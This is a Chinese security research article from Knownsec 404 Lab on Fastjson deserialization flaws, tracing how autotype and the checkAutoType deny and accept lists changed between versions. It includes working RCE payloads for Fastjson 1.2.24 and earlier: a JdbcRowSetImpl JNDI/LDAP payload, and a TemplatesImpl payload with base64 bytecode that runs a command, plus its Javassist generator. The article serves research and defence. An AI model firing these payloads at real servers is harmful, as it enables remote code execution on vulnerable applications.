作者:Longofo@知道创宇404实验室
时间:2020年4月27日
Fastjson没有cve编号,不太好查找时间线,一开始也不知道咋写,不过还是慢慢写出点东西,幸好fastjson开源以及有师傅们的一路辛勤记录。文中将给出与Fastjson漏洞相关的比较关键的更新以及漏洞时间线,会对一些比较经典的漏洞进行测试及修复说明,给出一些探测payload,rce payload。
Fastjson解析流程
可以参考下@Lucifaer师傅写的fastjson流程分析,这里不写了,再写篇幅就占用很大了。文中提到fastjson有使用ASM生成的字节码,由于实际使用中很多类都不是原生类,fastjson序列化/反序列化大多数类时都会用ASM处理,如果好奇想查看生成的字节码,可以用idea动态调试时保存字节文件:
插入的代码为:
BufferedOutputStream bos = null;
FileOutputStream fos = null;
File file = null;
String filePath = "F:/java/javaproject/fastjsonsrc/target/classes/" + packageName.replace(".","/") + "/";
try {
File dir = new File(filePath);
if (!dir.exists()) {
dir.mkdirs();
}
file = new File(filePath + className + ".class");
fos = new FileOutputStream(file);
bos = new BufferedOutputStream(fos);
bos.write(code);
} catch (Exception e) {
e.printStackTrace();
} finally {
if (bos != null) {
try {
bos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
if (fos != null) {
try {
fos.close();
} catch (IOException e) {
e.printStackTrace();
}
}
}
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BufferedOutputStreambos=null;
FileOutputStreamfos=null;
Filefile=null;
StringfilePath="F:/java/javaproject/fastjsonsrc/target/classes/"+packageName.replace(".","/")+"/";
try{
Filedir=newFile(filePath);
if(!dir.exists()){
dir.mkdirs();
}
file=newFile(filePath+className+".class");
fos=newFileOutputStream(file);
bos=newBufferedOutputStream(fos);
bos.write(code);
}catch(Exceptione){
e.printStackTrace();
}finally{
if(bos!=null){
try{
bos.close();
}catch(IOExceptione){
e.printStackTrace();
}
}
if(fos!=null){
try{
fos.close();
}catch(IOExceptione){
e.printStackTrace();
}
}
}
生成的类:
但是这个类并不能用于调试,因为fastjson中用ASM生成的代码没有linenumber、trace等用于调试的信息,所以不能调试。不过通过在Expression那个窗口重写部分代码,生成可用于调式的bytecode应该也是可行的(我没有测试,如果有时间和兴趣,可以看下ASM怎么生成可用于调试的字节码)。
Fastjson 样例测试
首先用多个版本测试下面这个例子:
//User.java
package com.longofo.test;
public class User {
private String name; //私有属性,有getter、setter方法
private int age; //私有属性,有getter、setter方法
private boolean flag; //私有属性,有is、setter方法
public String sex; //公有属性,无getter、setter方法
private String address; //私有属性,无getter、setter方法
public User() {
System.out.println("call User default Constructor");
}
public String getName() {
System.out.println("call User getName");
return name;
}
public void setName(String name) {
System.out.println("call User setName");
this.name = name;
}
public int getAge() {
System.out.println("call User getAge");
return age;
}
public void setAge(int age) {
System.out.println("call User setAge");
this.age = age;
}
public boolean isFlag() {
System.out.println("call User isFlag");
return flag;
}
public void setFlag(boolean flag) {
System.out.println("call User setFlag");
this.flag = flag;
}
@Override
public String toString() {
return "User{" +
"name='" + name + '\'' +
", age=" + age +
", flag=" + flag +
", sex='" + sex + '\'' +
", address='" + address + '\'' +
'}';
}
}
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//User.java
packagecom.longofo.test;
publicclassUser{
privateStringname;//私有属性,有getter、setter方法
privateintage;//私有属性,有getter、setter方法
privatebooleanflag;//私有属性,有is、setter方法
publicStringsex;//公有属性,无getter、setter方法
privateStringaddress;//私有属性,无getter、setter方法
publicUser(){
System.out.println("call User default Constructor");
}
publicStringgetName(){
System.out.println("call User getName");
returnname;
}
publicvoidsetName(Stringname){
System.out.println("call User setName");
this.name=name;
}
publicintgetAge(){
System.out.println("call User getAge");
returnage;
}
publicvoidsetAge(intage){
System.out.println("call User setAge");
this.age=age;
}
publicbooleanisFlag(){
System.out.println("call User isFlag");
returnflag;
}
publicvoidsetFlag(booleanflag){
System.out.println("call User setFlag");
this.flag=flag;
}
@Override
publicStringtoString(){
return"User{"+
"name='"+name+'\''+
", age="+age+
", flag="+flag+
", sex='"+sex+'\''+
", address='"+address+'\''+
'}';
}
}
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test1 {
public static void main(String[] args) {
//序列化
String serializedStr = "{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr=" + serializedStr);
System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr):");
Object obj1 = JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:" + obj1.getClass().getName());
System.out.println("parse反序列化:" + obj1);
System.out.println("-----------------------------------------------\n");
//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Object obj2 = JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:" + obj2.getClass().getName());
System.out.println("parseObject反序列化:" + obj2);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Object obj3 = JSON.parseObject(serializedStr, Object.class);
System.out.println("parseObject反序列化对象名称:" + obj3.getClass().getName());
System.out.println("parseObject反序列化:" + obj3);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Object obj4 = JSON.parseObject(serializedStr, User.class);
System.out.println("parseObject反序列化对象名称:" + obj4.getClass().getName());
System.out.println("parseObject反序列化:" + obj4);
System.out.println("-----------------------------------------------\n");
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
publicclassTest1{
publicstaticvoidmain(String[]args){
//序列化
StringserializedStr="{\"@type\":\"com.longofo.test.User\",\"name\":\"lala\",\"age\":11, \"flag\": true,\"sex\":\"boy\",\"address\":\"china\"}";//
System.out.println("serializedStr="+serializedStr);
System.out.println("-----------------------------------------------\n\n");
//通过parse方法进行反序列化,返回的是一个JSONObject]
System.out.println("JSON.parse(serializedStr):");
Objectobj1=JSON.parse(serializedStr);
System.out.println("parse反序列化对象名称:"+obj1.getClass().getName());
System.out.println("parse反序列化:"+obj1);
System.out.println("-----------------------------------------------\n");
//通过parseObject,不指定类,返回的是一个JSONObject
System.out.println("JSON.parseObject(serializedStr):");
Objectobj2=JSON.parseObject(serializedStr);
System.out.println("parseObject反序列化对象名称:"+obj2.getClass().getName());
System.out.println("parseObject反序列化:"+obj2);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为object.class
System.out.println("JSON.parseObject(serializedStr, Object.class):");
Objectobj3=JSON.parseObject(serializedStr,Object.class);
System.out.println("parseObject反序列化对象名称:"+obj3.getClass().getName());
System.out.println("parseObject反序列化:"+obj3);
System.out.println("-----------------------------------------------\n");
//通过parseObject,指定为User.class
System.out.println("JSON.parseObject(serializedStr, User.class):");
Objectobj4=JSON.parseObject(serializedStr,User.class);
System.out.println("parseObject反序列化对象名称:"+obj4.getClass().getName());
System.out.println("parseObject反序列化:"+obj4);
System.out.println("-----------------------------------------------\n");
}
}
说明:
这里的@type就是对应常说的autotype功能,简单理解为fastjson会自动将json的key:value值映射到@type对应的类中
样例User类的几个方法都是比较普通的方法,命名、返回值也都是常规的符合bean要求的写法,所以下面的样例测试有的特殊调用不会覆盖到,但是在漏洞分析中,可以看到一些特殊的情况
parse用了四种写法,四种写法都能造成危害(不过实际到底能不能利用,还得看版本和用户是否打开了某些配置开关,具体往后看)
样例测试都使用jdk8u102,代码都是拉的源码测,主要是用样例说明autotype的默认开启、checkautotype的出现、以及黑白名白名单从哪个版本开始出现的过程以及增强手段
1.1.157测试
这应该是最原始的版本了(tag最早是这个),结果:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
-----------------------------------------------
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serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11,"flag":true,"sex":"boy","address":"china"}
-----------------------------------------------
JSON.parse(serializedStr):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
callUsergetAge
callUserisFlag
callUsergetName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
-----------------------------------------------
JSON.parseObject(serializedStr,Object.class):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
-----------------------------------------------
JSON.parseObject(serializedStr,User.class):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
-----------------------------------------------
下面对每个结果做一个简单的说明
JSON.parse(serializedStr)
JSON.parse(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
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JSON.parse(serializedStr):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parse反序列化对象名称:com.longofo.test.User
parse反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例,不过值得注意的是public sex被成功赋值了,private address没有成功赋值,不过在1.2.22, 1.1.54.android之后,增加了一个SupportNonPublicField特性,如果使用了这个特性,那么private address就算没有setter、getter也能成功赋值,这个特性也与后面的一个漏洞有关。注意默认构造方法、setter方法调用顺序,默认构造器在前,此时属性值还没有被赋值,所以即使默认构造器中存在危险方法,但是危害值还没有被传入,所以默认构造器按理来说不会成为漏洞利用方法,不过对于内部类那种,外部类先初始化了自己的某些属性值,但是内部类默认构造器使用了父类的属性的某些值,依然可能造成危害。
可以看出,从最原始的版本就开始有autotype功能了,并且autotype默认开启。同时ParserConfig类中还没有黑名单。
JSON.parseObject(serializedStr)
JSON.parseObject(serializedStr):
call User default Constructor
call User setName
call User setAge
call User setFlag
call User getAge
call User isFlag
call User getName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
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JSON.parseObject(serializedStr):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
callUsergetAge
callUserisFlag
callUsergetName
parseObject反序列化对象名称:com.alibaba.fastjson.JSONObject
parseObject反序列化:{"flag":true,"sex":"boy","name":"lala","age":11}
在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName)以及对应的getter方法(getAge,getName),最终结果是一个字符串。这里还多调用了getter(注意bool类型的是is开头的)方法,是因为parseObject在没有其他参数时,调用了JSON.toJSON(obj),后续会通过gettter方法获取obj属性值:
JSON.parseObject(serializedStr, Object.class)
JSON.parseObject(serializedStr, Object.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
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JSON.parseObject(serializedStr,Object.class):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
在指定了@type的情况下,这种写法和第一种JSON.parse(serializedStr)写法其实没有区别的,从结果也能看出。
JSON.parseObject(serializedStr, User.class)
JSON.parseObject(serializedStr, User.class):
call User default Constructor
call User setName
call User setAge
call User setFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala', age=11, flag=true, sex='boy', address='null'}
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JSON.parseObject(serializedStr,User.class):
callUserdefaultConstructor
callUsersetName
callUsersetAge
callUsersetFlag
parseObject反序列化对象名称:com.longofo.test.User
parseObject反序列化:User{name='lala',age=11,flag=true,sex='boy',address='null'}
在指定了@type的情况下,自动调用了User类默认构造器,User类对应的setter方法(setAge,setName),最终结果是User类的一个实例。这种写法明确指定了目标对象必须是User类型,如果@type对应的类型不是User类型或其子类,将抛出不匹配异常,但是,就算指定了特定的类型,依然有方式在类型匹配之前来触发漏洞。
1.2.10测试
对于上面User这个类,测试结果和1.1.157一样,这里不写了。
到这个版本autotype依然默认开启。不过从这个版本开始,fastjson在ParserConfig中加入了denyList,一直到1.2.24版本,这个denyList都只有一个类(不过这个java.lang.Thread不是用于漏洞利用的):
1.2.25测试
测试结果是抛出出了异常:
serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11, "flag": true}
-----------------------------------------------
JSON.parse(serializedStr):
Exception in thread "main" com.alibaba.fastjson.JSONException: autoType is not support. com.longofo.test.User
at com.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
at com.alibaba.fastjson.JSON.parse(JSON.java:137)
at com.alibaba.fastjson.JSON.parse(JSON.java:128)
at com.longofo.test.Test1.main(Test1.java:14)
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serializedStr={"@type":"com.longofo.test.User","name":"lala","age":11,"flag":true}
-----------------------------------------------
JSON.parse(serializedStr):
Exceptioninthread"main"com.alibaba.fastjson.JSONException:autoTypeisnotsupport.com.longofo.test.User
atcom.alibaba.fastjson.parser.ParserConfig.checkAutoType(ParserConfig.java:882)
atcom.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:322)
atcom.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327)
atcom.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293)
atcom.alibaba.fastjson.JSON.parse(JSON.java:137)
atcom.alibaba.fastjson.JSON.parse(JSON.java:128)
atcom.longofo.test.Test1.main(Test1.java:14)
从1.2.25开始,autotype默认关闭了,对于autotype开启,后面漏洞分析会涉及到。并且从1.2.25开始,增加了checkAutoType函数,它的主要作用是检测@type指定的类是否在白名单、黑名单(使用的startswith方式)
以及目标类是否是两个危险类(Classloader、DataSource)的子类或者子接口,其中白名单优先级最高,白名单如果允许就不检测黑名单与危险类,否则继续检测黑名单与危险类:
增加了黑名单类、包数量,同时增加了白名单,用户还可以调用相关方法添加黑名单/白名单到列表中:
后面的许多漏洞都是对checkAutotype以及本身某些逻辑缺陷导致的漏洞进行修复,以及黑名单的不断增加。
1.2.42测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从这个版本开始,将denyList、acceptList换成了十进制的hashcode,使得安全研究难度变大了(不过hashcode的计算方法依然是公开的,假如拥有大量的jar包,例如maven仓库可以爬jar包下来,可批量的跑类名、包名,不过对于黑名单是包名的情况,要找到具体可利用的类也会消耗一些时间):
checkAutotype中检测也做了相应的修改:
1.2.61测试
与1.2.25一样,默认不开启autotype,所以结果一样,直接抛autotype未开启异常。
从1.2.25到1.2.61之前其实还发生了很多绕过与黑名单的增加,不过这部分在后面的漏洞版本线在具体写,这里写1.2.61版本主要是说明黑名单防御所做的手段。在1.2.61版本时,fastjson将hashcode从十进制换成了十六进制:
不过用十六进制表示与十进制表示都一样,同样可以批量跑jar包。在1.2.62版本为了统一又把十六进制大写:
再之后的版本就是黑名单的增加了
Fastjson漏洞版本线
下面漏洞不会过多的分析,太多了,只会简单说明下以及给出payload进行测试与说明修复方式。
ver<=1.2.24
从上面的测试中可以看到,1.2.24及之前没有任何防御,并且autotype默认开启,下面给出那会比较经典的几个payload。
com.sun.rowset.JdbcRowSetImpl利用链
payload:
{
"rand1": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://localhost:1389/Object",
"autoCommit": true
}
}
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{
"rand1":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"ldap://localhost:1389/Object",
"autoCommit":true
}
}
测试(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
public class Test2 {
public static void main(String[] args) {
String payload = "{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功,没有直接在外层用@type,加了一层rand:{}这样的格式,还没到类型匹配就能成功触发,这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用这种模式
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
publicclassTest2{
publicstaticvoidmain(String[]args){
Stringpayload="{\"rand1\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://localhost:1389/Object\",\"autoCommit\":true}}";
// JSON.parse(payload); 成功
//JSON.parseObject(payload); 成功
//JSON.parseObject(payload,Object.class); 成功
//JSON.parseObject(payload, User.class); 成功,没有直接在外层用@type,加了一层rand:{}这样的格式,还没到类型匹配就能成功触发,这是在xray的一篇文中看到的https://zhuanlan.zhihu.com/p/99075925,所以后面的payload都使用这种模式
}
}
结果:
触发原因简析:
JdbcRowSetImpl对象恢复->setDataSourceName方法调用->setAutocommit方法调用->context.lookup(datasourceName)调用
com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl利用链
payload:
{
"rand1": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": [
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name": "aaa",
"_tfactory": {},
"_outputProperties": {}
}
}
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{
"rand1":{
"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes":[
"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAARBYUFhAQAMSW5uZXJDbGFzc2VzAQAdTGNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMkQWFBYTsBAApTb3VyY2VGaWxlAQAKVGVzdDMuamF2YQwABAAFBwATAQAbY29tL2xvbmdvZm8vdGVzdC9UZXN0MyRBYUFhAQAQamF2YS9sYW5nL09iamVjdAEAFmNvbS9sb25nb2ZvL3Rlc3QvVGVzdDMBAAg8Y2xpbml0PgEAEWphdmEvbGFuZy9SdW50aW1lBwAVAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwwAFwAYCgAWABkBAARjYWxjCAAbAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAHQAeCgAWAB8BABNBYUFhNzQ3MTA3MjUwMjU3NTQyAQAVTEFhQWE3NDcxMDcyNTAyNTc1NDI7AQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAcAIwoAJAAPACEAAgAkAAAAAAACAAEABAAFAAEABgAAAC8AAQABAAAABSq3ACWxAAAAAgAHAAAABgABAAAAHAAIAAAADAABAAAABQAJACIAAAAIABQABQABAAYAAAAWAAIAAAAAAAq4ABoSHLYAIFexAAAAAAACAA0AAAACAA4ACwAAAAoAAQACABAACgAJ"
],
"_name":"aaa",
"_tfactory":{},
"_outputProperties":{}
}
}
测试(jdk=8u102,fastjson=1.2.24):
package com.longofo.test;
import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.codec.binary.Base64;
public class Test3 {
public static void main(String[] args) throws Exception {
String evilCode_base64 = readClass();
final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
String payload = "{'rand1':{" +
"\"@type\":\"" + NASTY_CLASS + "\"," +
"\"_bytecodes\":[\"" + evilCode_base64 + "\"]," +
"'_name':'aaa'," +
"'_tfactory':{}," +
"'_outputProperties':{}" +
"}}\n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
public static class AaAa {
}
public static String readClass() throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass cc = pool.get(AaAa.class.getName());
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "AaAa" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[] evilCode = cc.toBytecode();
return Base64.encodeBase64String(evilCode);
}
}
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packagecom.longofo.test;
importcom.alibaba.fastjson.JSON;
importcom.alibaba.fastjson.parser.Feature;
importcom.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
importjavassist.ClassPool;
importjavassist.CtClass;
importorg.apache.commons.codec.binary.Base64;
publicclassTest3{
publicstaticvoidmain(String[]args)throwsException{
StringevilCode_base64=readClass();
finalStringNASTY_CLASS="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
Stringpayload="{'rand1':{"+
"\"@type\":\""+NASTY_CLASS+"\","+
"\"_bytecodes\":[\""+evilCode_base64+"\"],"+
"'_name':'aaa',"+
"'_tfactory':{},"+
"'_outputProperties':{}"+
"}}\n";
System.out.println(payload);
//JSON.parse(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, Object.class, Feature.SupportNonPublicField); 成功
//JSON.parseObject(payload, User.class, Feature.SupportNonPublicField); 成功
}
publicstaticclassAaAa{
}
publicstaticStringreadClass()throwsException{
ClassPoolpool=ClassPool.getDefault();
CtClasscc=pool.get(AaAa.class.getName());
Stringcmd="java.lang.Runtime.getRuntime().exec(\"calc\");";
cc.makeClassInitializer().insertBefore(cmd);
StringrandomClassName="AaAa"+System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
byte[]evilCode=cc.toBytecode();
returnBase64.encodeBase64String(evilCode);
}
}
结果:
触发原因简析:
TemplatesImpl对象恢复->JavaBeanDeserializer.deserialze->FieldDeserializer.setValue->TemplatesImpl.getOutputProperties->TemplatesImpl.newTransformer->TemplatesImpl.getTransletInstance->通过defineTransletClasses,newInstance触发我们自己构造的class的静态代码块
简单说明:
这个漏洞需要开启SupportNonPublicField特性,这在样例测试中也说到了。因为TemplatesImpl类中_bytecodes、_tfactory、_name、_outputProperties、_class并没有对应的setter,所以要为这些private属性赋值,就需要开启SupportNonPublicField特性。具体这个poc构造过程,这里不分析了,可以看下廖大师傅的这篇,涉及到了一些细节问题。
ver>=1.2.25&ver<=1.2.41
1.2.24之前没有autotype的限制,从1.2.25开始默认关闭了autotype支持,并且加入了checkAutotype,加入了黑名单+白名单来防御autotype开启的情况。在1.2.25到1.2.41之间,发生了一次checkAutotype的绕过。
下面是checkAutoType代码:
public Class<?> checkAutoType(String typeName, Class<?> expectClass) {
if (typeName == null) {
return null;
}
final String className = typeName.replace('$', '.');
// 位置1,开启了autoTypeSupport,先白名单,再黑名单
if (autoTypeSupport || expectClass != null) {
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
return TypeUtils.loadClass(typeName, defaultClassLoader);
}
}
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
// 位置2,从已存在的map中获取clazz
Class<?> clazz = TypeUtils.getClassFromMapping(typeName);
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null && !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
// 位置3,没开启autoTypeSupport,依然会进行黑白名单检测,先黑名单,再白名单
if (!autoTypeSupport) {
for (int i = 0; i < denyList.length; ++i) {
String deny = denyList[i];
if (className.startsWith(deny)) {
throw new JSONException("autoType is not support. " + typeName);
}
}
for (int i = 0; i < acceptList.length; ++i) {
String accept = acceptList[i];
if (className.startsWith(accept)) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
if (expectClass != null && expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
}
}
// 位置4,过了黑白名单,autoTypeSupport开启,就加载目标类
if (autoTypeSupport || expectClass != null) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader);
}
if (clazz != null) {
// ClassLoader、DataSource子类/子接口检测
if (ClassLoader.class.isAssignableFrom(clazz) // classloader is danger
|| DataSource.class.isAssignableFrom(clazz) // dataSource can load jdbc driver
) {
throw new JSONException("autoType is not support. " + typeName);
}
if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}
}
if (!autoTypeSupport) {
throw new JSONException("autoType is not support. " + typeName);
}
return clazz;
}
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publicClass<?>checkAutoType(StringtypeName,Class<?>expectClass){
if(typeName==null){
returnnull;
}
finalStringclassName=typeName.replace('$','.');
// 位置1,开启了autoTypeSupport,先白名单,再黑名单
if(autoTypeSupport||expectClass!=null){
for(inti=0;i<acceptList.length;++i){
Stringaccept=acceptList[i];
if(className.startsWith(accept)){
returnTypeUtils.loadClass(typeName,defaultClassLoader);
}
}
for(inti=0;i<denyList.length;++i){
Stringdeny=denyList[i];
if(className.startsWith(deny)){
thrownewJSONException("autoType is not support. "+typeName);
}
}
}
// 位置2,从已存在的map中获取clazz
Class<?>clazz=TypeUtils.getClassFromMapping(typeName);
if(clazz==null){
clazz=deserializers.findClass(typeName);
}
if(clazz!=null){
if(expectClass!=null&&!expectClass.isAssignableFrom(clazz)){
thrownewJSONException("type not match. "+typeName+" -> "+expectClass.getName());
}
returnclazz;
}
// 位置3,没开启autoTypeSupport,依然会进行黑白名单检测,先黑名单,再白名单
if(!autoTypeSupport){
for(inti=0;i<denyList.length;++i){
Stringdeny=denyList[i];
if(className.startsWith(deny)){
thrownewJSONException("autoType is not support. "+typeName);
}
}
for(inti=0;i<acceptList.length;++i){
Stringaccept=acceptList[i];
if(className.startsWith(accept)){
clazz=TypeUtils.loadClass(typeName,defaultClassLoader);
if(expectClass!=null&&expectClass.isAssignableFrom(clazz)){
thrownewJSONException("type not match. "+typeName+" -> "+expectClass.getName());
}
returnclazz;
}
}
}
// 位置4,过了黑白名单,autoTypeSupport开启,就加载目标类
if(autoTypeSupport||expectClass!=null){
clazz=TypeUtils.loadClass(typeName,defaultClassLoader);
}
if(clazz!=null){
// ClassLoader、DataSource子类/子接口检测
if(ClassLoader.class.isAssignableFrom(clazz)// classloader is danger
